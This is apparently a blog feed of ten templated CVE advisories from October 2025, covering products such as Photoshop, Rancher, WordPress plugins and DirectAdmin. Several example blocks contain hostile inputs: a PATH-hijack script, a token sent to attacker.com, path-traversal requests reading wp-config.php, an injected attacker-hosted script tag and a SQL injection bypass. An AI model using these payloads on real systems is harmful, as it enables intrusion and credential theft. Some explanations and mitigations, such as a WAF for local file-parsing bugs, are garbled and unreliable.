Author: Ameeba

CVE-2025-49572: Out-Of-Bounds Write Vulnerability in Substance3D – Modeler
Overview

The CVE-2025-49572 is a significant vulnerability identified in Substance3D – Modeler versions 1.22.0 and earlier, posing a substantial security risk to users of the software. It is an out-of-bounds write vulnerability that could result in arbitrary code execution, potentially compromising the system security or leaking sensitive data. This vulnerability is especially concerning because it doesn’t require advanced privileges and the exploitation merely requires user interaction, such as opening a malicious file.

Vulnerability Summary

CVE ID: CVE-2025-49572
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Arbitrary code execution, potential system compromise, and data leakage.

Affected Products

Product | Affected Versions

Substance3D – Modeler | 1.22.0 and earlier

How the Exploit Works

The vulnerability occurs due to an out-of-bounds write in the Substance3D – Modeler. When a user opens a malicious file, the software fails to properly validate or sanitize the input data, leading to an out-of-bounds write condition. This could allow an attacker to overwrite critical memory locations with arbitrary data, potentially leading to arbitrary code execution. Consequently, an attacker could execute arbitrary commands or code within the context of the current user, potentially compromising the system or causing data leakage.

Conceptual Example Code

The following pseudocode illustrates conceptually how this vulnerability might be exploited. Please note that this is hypothetical and simplified for understanding purposes:
```
# Attacker creates a malicious file
malicious_file = create_malicious_file()
# Victim opens the malicious file in Substance3D - Modeler
substance3d_modeler.open(malicious_file)
# Due to the out-of-bounds write vulnerability, arbitrary code gets executed
execute_arbitrary_code(context_of_current_user)
```
In this scenario, the attacker creates a malicious file that contains specifically crafted data that exploits the out-of-bounds write vulnerability when opened in Substance3D – Modeler. This leads to the execution of arbitrary code in the context of the current user.

Recommended Mitigations

The most effective mitigation for this vulnerability is to apply the patch provided by the vendor. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these are only temporary solutions and cannot completely eliminate the risk. Therefore, it’s crucial to apply the vendor-provided patch as soon as possible to effectively mitigate this vulnerability.
October 14, 2025
CVE-2025-49571: Uncontrolled Search Path Element in Substance3D – Modeler Allows for Arbitrary Code Execution
Overview

In the realm of cybersecurity, one of the most pernicious threats is that which targets software vulnerabilities to execute arbitrary code. One such vulnerability has been identified in Substance3D – Modeler versions 1.22.0 and earlier. This particular vulnerability, known as CVE-2025-49571, has the potential to open the door to malicious actors who could manipulate the application’s search path, thereby gaining the power to execute arbitrary code in the context of the current user. This could lead to potential system compromise or data leakage, thereby posing a significant risk to the integrity and security of the user’s system.

Vulnerability Summary

CVE ID: CVE-2025-49571
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Substance3D – Modeler | 1.22.0 and earlier

How the Exploit Works

The flaw lies in the way Substance3D – Modeler handles search paths when locating critical resources such as programs. If an attacker gains access to the system and manages to manipulate the search path, they could divert the application to a malicious program, tricking the application into executing it. As this program runs in the context of the current user, the attacker could potentially gain the same access rights and permissions as the user, thereby leading to a potential system compromise or data leakage.

Conceptual Example Code

Although the specific details of how this vulnerability is exploited will depend on the exact system configuration and the attacker’s objectives, the conceptual example below provides an idea of how an attacker might manipulate the search path.
```
# Attacker places malicious script in a directory
echo "echo 'You have been hacked!'" > /tmp/evil.sh
chmod +x /tmp/evil.sh
# Attacker manipulates PATH variable to include the directory with the malicious script
export PATH=/tmp:$PATH
# When the application tries to execute a legitimate program, it executes the malicious script instead
./legitimate_program
```
This example demonstrates a simple scenario and the actual exploitation could be much more complex and harmful. However, it gives an idea of the fundamental mechanics of the vulnerability.
To mitigate this vulnerability, users of Substance3D – Modeler versions 1.22.0 and earlier should apply the vendor patch as soon as possible. As a temporary mitigation, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS). However, these measures are not a substitute for applying the patch and updating the software to a secure version.
October 14, 2025
CVE-2025-49570: Out-of-Bounds Write Vulnerability in Adobe Photoshop Desktop
Overview

The cybersecurity landscape is an ever-evolving space, with new vulnerabilities emerging regularly, giving cybercriminals new ways to exploit systems. This blog post focuses on one such vulnerability, CVE-2025-49570, affecting Adobe Photoshop Desktop versions 25.12.3 and 26.8, which could potentially lead to system compromise or data leakage. This is significant as many businesses, designers and photographers rely heavily on Adobe Photoshop, making the impact of this vulnerability potentially widespread.

Vulnerability Summary

CVE ID: CVE-2025-49570
Severity: High – CVSS score of 7.8
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Adobe Photoshop Desktop | 25.12.3 and earlier
Adobe Photoshop Desktop | 26.8 and earlier

How the Exploit Works

The vulnerability, CVE-2025-49570, is an out-of-bounds write vulnerability. This type of vulnerability occurs when data is written past the end of a buffer, which can lead to data corruption or a crash. In this case, the vulnerability could result in code execution in the context of the current user. The exploitation of this issue requires user interaction, meaning that a victim must open a malicious file for the exploit to take effect.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is not actual code, but rather a simplified representation of how an attack might look:
```
# Attacker creates a malicious file
echo "malicious_code" > malicious.psd
# Attacker sends the malicious file to a user via email, phishing, etc.
send_email --attachment=malicious.psd --to=victim@example.com
# If a user opens the malicious file using a vulnerable version of Adobe Photoshop,
# the malicious code executes in the context of the user.
```
This is a simplified example, but the actual exploit might involve much more complex code, designed to execute specific actions or to make it harder to detect the malicious activity.
In conclusion, it’s important to stay vigilant and ensure that all software is kept up to date to reduce the risk of exploitation. In this case, users should apply the vendor patch provided by Adobe or use a WAF/IDS as a temporary mitigation for this vulnerability.
October 14, 2025
CVE-2024-58267: Phishing Vulnerability in Rancher Manager’s SAML Authentication
Overview

The vulnerability, identified as CVE-2024-58267, is a serious security flaw in Rancher Manager’s SAML authentication protocol. This vulnerability directly affects the Rancher CLI tool, making it susceptible to phishing attacks. Rancher Manager is a widely-used software for managing Kubernetes clusters, and this vulnerability has significant implications for the security of the networks managed using this tool. The flaw can be exploited by attackers to steal Rancher’s authentication tokens, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2024-58267
Severity: High (8.0 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Rancher Manager | All versions prior to the patched release

How the Exploit Works

The exploit takes advantage of the custom authentication protocol for SAML-based providers in Rancher Manager. The attacker initiates a phishing attack, tricking the user into interacting with a malicious link or attachment. Once the user interacts, the malicious script runs and abuses the SAML authentication protocol to steal Rancher’s authentication tokens. These tokens can then be used to gain unauthorized access to the system, potentially leading to a system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of a phishing attack exploiting this vulnerability. The attacker could use a crafted HTTP request to trigger the vulnerability and steal the authentication token.
```
GET /malicious_link HTTP/1.1
Host: attacker.com
Content-Type: application/json
User-Agent: Mozilla/5.0
{ "stolen_token": "<RANCHER_AUTH_TOKEN>" }
```
Mitigation and Recommendations

The most effective way to mitigate this vulnerability is by applying the vendor patch. Rancher has released a fix for this vulnerability, and all users are advised to update their Rancher Manager software to the latest version.
In the interim, if patching is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability. However, these are not long-term solutions and do not eliminate the vulnerability itself. Users are strongly urged to apply the vendor patch as soon as feasible.
Always be vigilant and cautious when interacting with emails, messages, or any form of communication that contains links or attachments, especially from unfamiliar sources. Regular security awareness training can significantly reduce the risk of falling victim to phishing attacks.
October 14, 2025
CVE-2025-46205: Denial of Service Vulnerability in Podofo’s PdfTokenizer::ReadDictionary Function

Overview

The world of cybersecurity is an ever-evolving landscape riddled with potential vulnerabilities and exploits. One such vulnerability, with the identifier CVE-2025-46205, poses a significant threat to any system utilizing versions v0.10.0 to v0.10.5 of the podofo library. This vulnerability specifically targets the PdfTokenizer::ReadDictionary function, leading to a heap-use-after-free condition. This vulnerability is of high importance as it allows attackers to cause a Denial of Service (DoS) by simply supplying a crafted PDF file. Organizations utilizing the affected versions of podofo should address this vulnerability promptly to prevent potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-46205
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Denial of Service, Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Podofo | v0.10.0 to v0.10.5

How the Exploit Works

The vulnerability resides in the PdfTokenizer::ReadDictionary function of the podofo library. Due to improper memory management, a heap-use-after-free condition can be triggered when parsing a maliciously crafted PDF file. This condition occurs when an object in the heap memory is used after it has been freed, leading to a crash or, more critically, enabling the execution of arbitrary code.

Conceptual Example Code

The following pseudocode represents a conceptual example of a crafted PDF file that could be used to exploit the vulnerability:
“`c++
PdfObject* obj = new PdfObject();
// … fill the object with malicious code
PdfTokenizer::ReadDictionary(obj);
delete obj;
// … use obj again, triggering the heap-use-after-free condition
PdfTokenizer::ReadDictionary(obj);
“`
In this example, the object `obj` is deleted and then used again, causing the heap-use-after-free condition. This could be packaged into a PDF file and sent to the victim, who would trigger the vulnerability when opening the file.

Recommendations

The most effective mitigation against this vulnerability is to apply the vendor patch. In situations where immediate patching is not feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide a temporary mitigation. However, these should only be seen as stopgap measures, as they may not completely protect against all potential exploits of this vulnerability. Regular system and software updates, combined with robust cybersecurity practices, are the best defense against threats such as CVE-2025-46205.

October 14, 2025
CVE-2025-56392: Insecure Direct Object Reference Vulnerability in Syaqui Collegetivity
Overview

The CVE-2025-56392 is a critical vulnerability that affects Syaqui Collegetivity version 1.0.0, a widely used university management software. This vulnerability stems from an Insecure Direct Object Reference (IDOR) flaw in the /dashboard/notes endpoint, potentially endangering the data security of academic institutions using the software. It’s of particular concern because it allows attackers to impersonate other users and perform arbitrary operations via a crafted POST request, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56392
Severity: High (8.1 CVSS score)
Attack Vector: Network-based exploitation via POST request
Privileges Required: None
User Interaction: None
Impact: Unauthorized access, impersonation of users, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Syaqui Collegetivity | v1.0.0

How the Exploit Works

The vulnerability exists due to an insecure configuration in the /dashboard/notes endpoint of the application. It allows an attacker to modify the object ID in the POST request, which in turn enables them to impersonate other users. This can lead to unauthorized access and arbitrary operations, creating potential avenues for system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability:
```
POST /dashboard/notes HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: session=...
{
"userID": "attacker_controlled_value",
"noteID": "..."
}
```
In the above example, an attacker could replace `userID` with the ID of another user, effectively impersonating them and gaining access to their privileges.

Recommendations for Mitigation

To mitigate this vulnerability, apply the patch provided by the vendor as soon as it becomes available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. Additionally, closely monitor system logs for any suspicious activity and educate users on the importance of not clicking on unverified links or opening suspicious emails.
October 14, 2025
CVE-2025-9993: Critical Local File Inclusion Vulnerability in Bei Fen – WordPress Backup Plugin
Overview

In the rapidly evolving digital landscape, cybersecurity breaches are a growing concern. With the latest vulnerability found in the Bei Fen – WordPress Backup Plugin, websites worldwide could potentially be at risk. This vulnerability, officially dubbed CVE-2025-9993, presents a serious risk to any WordPress site running the affected versions of this popular backup plugin. Website owners and administrators should take immediate action to secure their sites and protect sensitive data from potential attacks.
This vulnerability is of considerable importance due to the wide-spread use of WordPress as a content management platform and the prevalence of the Bei Fen plugin. Furthermore, the severity of this vulnerability is high, as it allows for the potential compromise of entire systems or potential data leakage.

Vulnerability Summary

CVE ID: CVE-2025-9993
Severity: High (8.1 CVSS Score)
Attack Vector: Local File Inclusion
Privileges Required: Subscriber-level access
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Bei Fen – WordPress Backup Plugin | All versions up to and including 1.4.2

How the Exploit Works

The vulnerability lies in the ‘task’ parameter of the Bei Fen – WordPress Backup Plugin. An attacker with Subscriber-level access can manipulate this parameter to include and execute arbitrary .php files on the server. This gives the attacker the ability to execute any PHP code within those files. Such a vulnerability can be exploited to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:
```
POST /wp-admin/admin-ajax.php?action=bei_fen_task_execute HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
task=../../../../malicious.php
```
In this example, the attacker sends a POST request to the vulnerable endpoint. The ‘task’ parameter is exploited to include a malicious PHP file from an arbitrary location, leading to its execution on the server.

Mitigation

The best way to mitigate this vulnerability is by applying the vendor-supplied patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Website administrators are strongly urged to take immediate action to protect their sites from this critical vulnerability.
October 14, 2025
CVE-2025-9991: WordPress Plugin Vulnerability Allows for Local File Inclusion
Overview

The CVE-2025-9991 is a critical vulnerability that affects all versions up to and including 4.3.34 of Tiny Bootstrap Elements Light plugin for WordPress, a widely used CMS platform. The vulnerability is a significant cause for concern due to the popularity of WordPress and the potential for widespread exploitation. It allows for Local File Inclusion (LFI), which could lead to a complete system compromise and subsequent data leakage.

Vulnerability Summary

CVE ID: CVE-2025-9991
Severity: High (8.1/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tiny Bootstrap Elements Light for WordPress | 4.3.34 and below

How the Exploit Works

This vulnerability is exploited using the ‘language’ parameter in the Tiny Bootstrap Elements Light plugin for WordPress. Unauthenticated attackers can manipulate the parameter to include and execute arbitrary .php files on the server. The execution of arbitrary PHP code can be utilized to bypass access controls, obtain sensitive data, or achieve code execution, particularly in cases where .php file types can be uploaded and included.

Conceptual Example Code

Here’s a hypothetical example of how the vulnerability might be exploited:
```
GET /wp-content/plugins/tiny-bootstrap-elements-light/?language=../../../../wp-config.php HTTP/1.1
Host: vulnerablewordpress.com
```
In this example, the attacker is exploiting the ‘language’ parameter to include the ‘wp-config.php’ file, which contains sensitive configuration data, including database credentials.

Mitigation Guidance

The best way to mitigate this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. This vulnerability emphasizes the importance of maintaining a robust patch management strategy and regularly updating all plugins, themes, and the WordPress core.
October 14, 2025
CVE-2025-56551: Unauthorized Page Manipulation and Interface Replacement in DirectAdmin v1.680
Overview

The recently disclosed vulnerability, CVE-2025-56551, poses a significant threat to any system running DirectAdmin v1.680. This vulnerability allows unauthorized attackers to manipulate the layout of the page and replace the legitimate login interface with attacker-controlled content. This is achieved through the supply of a specially crafted GET request. It’s a high-risk vulnerability that can potentially lead to system compromise or data leakage, putting sensitive information at risk.

Vulnerability Summary

CVE ID: CVE-2025-56551
Severity: High (8.2 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized access to sensitive data and potential system compromise

Affected Products

Product | Affected Versions

DirectAdmin | v1.680

How the Exploit Works

The vulnerability exploits an issue in DirectAdmin v1.680 that fails to properly sanitize the GET requests. This allows attackers to send a specially crafted GET request that contains malicious scripts. These scripts can then alter the layout of the page and replace the legitimate login interface with a fake one controlled by the attackers. This can trick unsuspecting users into entering their login credentials into the fake interface, hence providing the attackers with unauthorized access to sensitive data and potentially the entire system.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This is a sample HTTP GET request that contains a malicious payload:
```
GET /?page=<script src="http://attacker.com/malicious_script.js"></script> HTTP/1.1
Host: target.example.com
```
This GET request injects a malicious script hosted on the attacker’s server. Once the script is loaded and executed, it can manipulate the DOM of the page, replace the login form with a fake one, and send any entered credentials back to the attacker.

Impact and Mitigation

The impact of this vulnerability is severe, as it can lead to unauthorized system access and potential data leakage. As an immediate mitigation measure, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to filter out the malicious GET requests. However, the ultimate resolution would be to apply the vendor patch which addresses this vulnerability, thereby ensuring the security of the system.
October 13, 2025
CVE-2025-0616: SQL Injection vulnerability in Teknolojik Center Telecommunication’s B2B – Netsis Panel
Overview

A major security vulnerability, identified as CVE-2025-0616, has been discovered in the B2B – Netsis Panel developed by Teknolojik Center Telecommunication Industry Trade Co. Ltd. This vulnerability, which is a form of SQL Injection, has the potential to severely impact the confidentiality, integrity, and availability of data within systems that use this software. An attacker can exploit the vulnerability to compromise systems or leak data. Given the widespread use of B2B – Netsis Panel in the telecommunication industry, this vulnerability presents a significant risk to both businesses and their customers.

Vulnerability Summary

CVE ID: CVE-2025-0616
Severity: High (8.2/10 on the CVSS scale)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

B2B – Netsis Panel | All versions up to 20251003

How the Exploit Works

The vulnerability stems from the software’s improper neutralization of special elements used in an SQL command. This allows an attacker to manipulate SQL queries in the application’s database commands. When exploited, an attacker can perform operations such as unauthorized viewing of data, deleting data, or even executing administration operations on the database.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. An attacker could send a malicious SQL command through a poorly sanitized input field, like this:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
user=admin' OR '1'='1&pass=
```
In this example, the SQL command ‘OR ‘1’=’1′ would always be true, effectively bypassing the authentication mechanism and granting the attacker access to the system with admin privileges.

Mitigation and Prevention

To mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. If a patch is not yet available, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation. Regularly updating and maintaining the software, while also ensuring input sanitization and parameterized queries are implemented, can significantly reduce the risk of SQL Injection attacks.
October 13, 2025